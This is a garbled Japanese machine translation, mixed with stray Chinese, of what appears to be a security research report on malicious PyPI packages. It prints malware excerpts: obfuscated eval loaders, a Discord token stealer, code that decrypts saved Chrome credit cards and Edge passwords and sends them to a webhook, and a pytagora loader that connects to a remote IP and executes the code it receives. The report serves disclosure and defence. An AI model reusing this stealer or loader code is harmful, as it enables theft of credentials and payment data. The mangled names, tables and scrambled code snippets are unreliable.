JFrogがクレジットカード情報を盗み,コードを注入する悪意のあるコードが埋め込まれたPyPIパッケージを検出

。最近では,npm、PyPI RubyGemsなどの人気リポジトリに対するマルウェアの攻撃に関するニュースがありました。開発者はリポジトリを盲目的に信頼し,安全であると仮定して,これらのソースからパッケージをインストールしています。時には,マルウェアパッケージのパッケージリポジトリへのアップロードが許可されることもあり,悪意のあるアクターは,リポジトリを利用してウイルスを配布し,パイプライン上の開発者とCI / CDマシンの両方に対して攻撃の機会を与えてしまいます。
JFrogセキュリティリサーチチーム(旧Vdoo)による悪意のあるパッケージを自動的に識別する継続的な取り組みの一環として,PyPIにホストされているいくつかのPythonパッケージを悪意のあるものとして報告しています。私たちはPyPIに悪意のあるパッケージの存在を警告し,PyPIは速やかにそれらを削除しました。
pepy.techからのデータに基づき,私たちは悪意のあるパッケージが約30000回ダウンロードされたものと考えています。これらの悪意のあるパッケージが使用されたことによる実際の影響についてのデータは現在のところありません。
。
報告されたパッケージ
| 包名 | 维护人员 | 有效载荷 |
|---|---|---|
| 贵族阶级 | xin1111 | 不和のトークンを盗む,クレジットカード情報を盗む(窗户ベース) |
| genesisbot | xin1111 | 贵族阶级? |
| aryi | xin1111 | 贵族阶级? |
| 遭受 | 遭受 | 贵族阶级【翻译】PyArmor英文: |
| noblesse2 | 遭受 | 贵族阶级? |
| noblessev2 | 遭受 | 贵族阶级? |
| pytagora | leonora123 | リモートコードインジェクション |
| pytagora2 | leonora123 | pytagora? |
テクニカル分析
難読化技術
上記のすべてのパッケージ(およびほとんどの初心者作成のPythonマルウェア)は,次のようなシンプルな難読化技術を使用しています。
- Python
- デコードされたテキストをコードとして評価するために,eval这是我的梦想
。
导入base64,编解码器magic = 'aW1wb3J0IGNvbG9yYW1hLCBkYXRldGltZS…' love = '0iLKOcY3L4Y2q1nJkxpl97nJE9Y2EyoTI0M…' god = 'a2luZy5hcHBlbmQodG9rZW4pDQogICAgICAg. ''命运= 'yxIKAVDaAQK3xjpQWkqRAboUcBIzqjEmS…“快乐= ' \ x72 \ x6f \ x74 \ x31 \ x33 '信任= eval(‘\ x6d \ x61 \ x67 \ x69 \ x63”)+ eval(‘\ x63 \ x6f \ x64 \ x65 \ x63 \ \表示就是x73 \ x2e x64…”)eval(编译(base64.b64decode (eval(‘\ x74 \ x72 \ x75 \ x73 \ x74”)),”,“执行”))
()
この難読化は単純な静的解析ツールを騙すことはできますが,より徹底した解析には耐えられず,実際に多くの研究者がこのコードを詳しく調べるように警告しています。
難読化されたコードに使用されている特定の文字列(北欧メタルに影響されたもの?)から,このマルウェアがパブリックなツールpython-obfuscator。
阿伊,痛苦,PyArmor。
贵族阶级ペイロード1 -不和認証トークンを盗む
贵族阶级ファミリーのマルウェアの1つ目のペイロードは,不和の認証トークンを盗むことです。認証トークンは,攻撃者がトークンを最初に保持していたユーザーになりすませます(HTTPセッションクッキーに似ています)。
トークンを盗むペイロードは,悪名高いdTGPG(不和牌打捞工具负载生成器)というペイロードをベースにしています。これはジェネレーターツールであり,公開されることはありませんでしたが,ペイロード(個別のトークン奪取手法)は公開されており,いくつかの例はGithub。
不和認証トークンを盗むコードは非常にシンプルで,ハードコードされたパスのセットを繰り返し実行します。
local = os.getenv('LOCALAPPDATA') roaming = os.getenv('APPDATA') paths = {'Discord':漫游+ '\\Discord', 'Discord Canary':漫游+ '\\discordcanary', 'Discord PTB':漫游+ '\\discordptb', 'Google Chrome':本地+ '\\Google\\Chrome\\用户数据\\默认','Opera':漫游+ '\\Opera Software\\Opera Stable', 'Brave':本地+ '\\BraveSoftware\\Brave- browser \\用户数据\\默认','Yandex':本地+ '\\Yandex\\YandexBrowser\\用户数据\\默认'}
そして,単純にこれらのパスの下(特に当地Sotrage \ leveldbの下)にある全ての. logとldbファイルを読み込んで,不和認証トークンを検索すると,以下のようになります。
- AhDDanSZFkkf2j2J8co2d5Tn.G2rsTL.ZP2E7xR3AiapA8oNmgyqsao0Fj1(単一要素トークン-24文字+“。”+ 6文字+“。”+ 27文字)
- mfa。zmDGLWt6FVZVIjc5Xo25luPYVTRWqPryLQUVOjN0kIzZ5uzWQ1fbHyiaTNj0sQ3j4cLSB7XibGzPaUHEc3mO ()” + 84 文字)
結果はWebhook(プライベートサーバーのテキストチャンネルに自動メッセージやデータの更新情報を送る簡単な方法)を介して,。
{"type": 1, "id": "807327703082074143", "name": " Hook船长","avatar": null, "channel_id": "725001140324008047", "guild_id": "720931953251057725", "application_id": null, "token": "uwAgm7PQaROJB3USUNDv1RT7uJzfidUsHBsC_y0p2qtChlzNVgpG1vw2zAtkFX-8Xq-x"}
贵族阶级ペイロード2 -オートコンプリートの機密データ(クレジットカード情報とパスワード)を盗む
。。

これは非常に便利なことですが,その反面,ローカルマシンにアクセスした悪意のあるソフトウェアによって,この情報が漏れてしまう可能性があります。
中文:中文:Chrome,中文:Chrome,中文:Chrome,中文:Chrome,中文:Chrome。
defcs (): master_key = master() login_db = os。environ['USERPROFILE'] + os。sep + \ r' appdata \Local\Google\Chrome\User Data\default\Web Data' shutil。copy2(login_db, "CCvault.db") conn = sqlite3.connect("CCvault.db") cursor = conn.cursor() try: cursor。fetchall(): username = r[1] encrypted_password = r[4] decrypted_password = dpw(encrypted_password, master_key) expire_mon = r[2] expire_year = r[3] hook. execute("SELECT * FROM credit_cards")send(f“CARD-NAME:”+ username +“\nNUMBER:”+ decrypted_password +“\nEXPIRY:”+ str(expire_mon) +“\nEXPIRY:”+ str(expire_year) +“\n”+“*”* 10 +“\n”))
さらに,保存されているパスワードやクレジットカード情報を边缘から盗みます(簡潔にするために省略しています)。
Login_db = os。environ['USERPROFILE'] + os。sep + r'\AppData\Local\Microsoft\Edge\User Data\Profile 1\Login Data'…游标。execute("SELECT action_url, username_value, password_value FROM logins") decrypted_password = dpw(encrypted_password, master_key) if username != "" or decrypted_password != "": hook。send(f“URL:”+ URL +“\nUSER:”+ username +“\nPASSWORD:”+ decrypted_password +“\n”+“*”* 10 +“\n”)
网络钩子,。
贵族阶级ペイロード3 -システム情報収集
贵族阶级ファミリーの3つ目のペイロードは,被害者のシステムに関する以下の情報を収集し,それを前述のWebhookにアップロードします。
- IP
- コンピュータ名
- 用户名
- ユーザー名(wmic路径softwarelicensingservice获取OA3xOriginalProductKey)
- Windows (谁得到标题)
- ()枕头的ImageGrab【中文】
Pytagora -
今回調査した2つ目のマルウェアファミリーは,もっとシンプルなものです。
“简化pytagora定理”(原文如此)という面白い口実で,このパッケージのコード全体を紹介しています。
import math import base64,sys def hello(): exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3Qs…'))def斜边(a,b): hello() c = math.sqrt(math.pow(a,2) + math.pow(b,2))) return round(c,2) def other(c,x): y = math.sqrt(math.pow(c,2)-math.pow(x,2)) return round(y,2)
。
import socket,struct,time s=socket.socket(2,socket.socket.socket. sock_stream) .connect(('172.16.60.80',9009)) l=struct.unpack('>I',s.r recv(4))[0] print (l) d=s.r recv(l) print (d) while len(d)>!1: d+=s.recv(l-len(d)) print (d) exec(d,{'s':s})
このマルウェアはTCPポート9009のプライベートIPアドレスに接続を試み,ソケットから読み込まれたPythonコードを実行します。
?
影響する開発者へのアドバイス
もし,PyPIの依存関係を確認した後,贵族阶级(またはそのクローン)がローカルにインストールされていることがわかった場合は,次のことをお勧めします。
- 边缘に保存されているパスワードを確認し,各网络サイトの漏洩したパスワードを変更します(さらに,これらのパスワードが再利用されているWebサイトもあります)。この確認は边缘? ?优势:/ /设置/密码。で行います。保存されているパスワード(漏洩した可能性のあるもの)の全リストは保存的密码。? ? ? ? ? ?
- 铬。是呀!铬を開き,chrome: / /设置/支付で行えます。保存されているクレジットカード情報の一覧(漏洩の可能性があるもの)は付款方法() ()
お使いのマシンにpytagora(或它的任何克隆)がローカルにインストールされていることが確認された場合,マルウェアに感染している可能性は低いものの,インストールされているアンチウイルスソフトウェアでフルスキャンを実行するなど,通常のマルウェアチェックの手順を踏むことをお勧めします。
サマリー
PyPIでも明らかになったように,公共のソフトウェアリポジトリには節度や自動化されたセキュリティコントロールが欠如しているため,経験の浅い攻撃者でもタイポスクワッティングや依存関係かく乱攻撃,単純なソーシャルエンジニアリング攻撃など,マルウェアを拡散するプラットフォームとして利用することができます。
今回分析したコードスニペットのほとんどは,既知の公開ツールをベースに,パラメータを少し変更しただけのものでした。。
このような”フランケンシュタイン”と呼ばれるマルウェアパッケージは,異なる攻撃ツールをつなぎ合わせたもの(流出パラメータを変更したもの)が多いようです。。
最後に,迅速に対応して悪意のあるパッケージを削除してくれた达斯汀·英格拉姆(ダスティン・イングラム)氏(@di_codes)。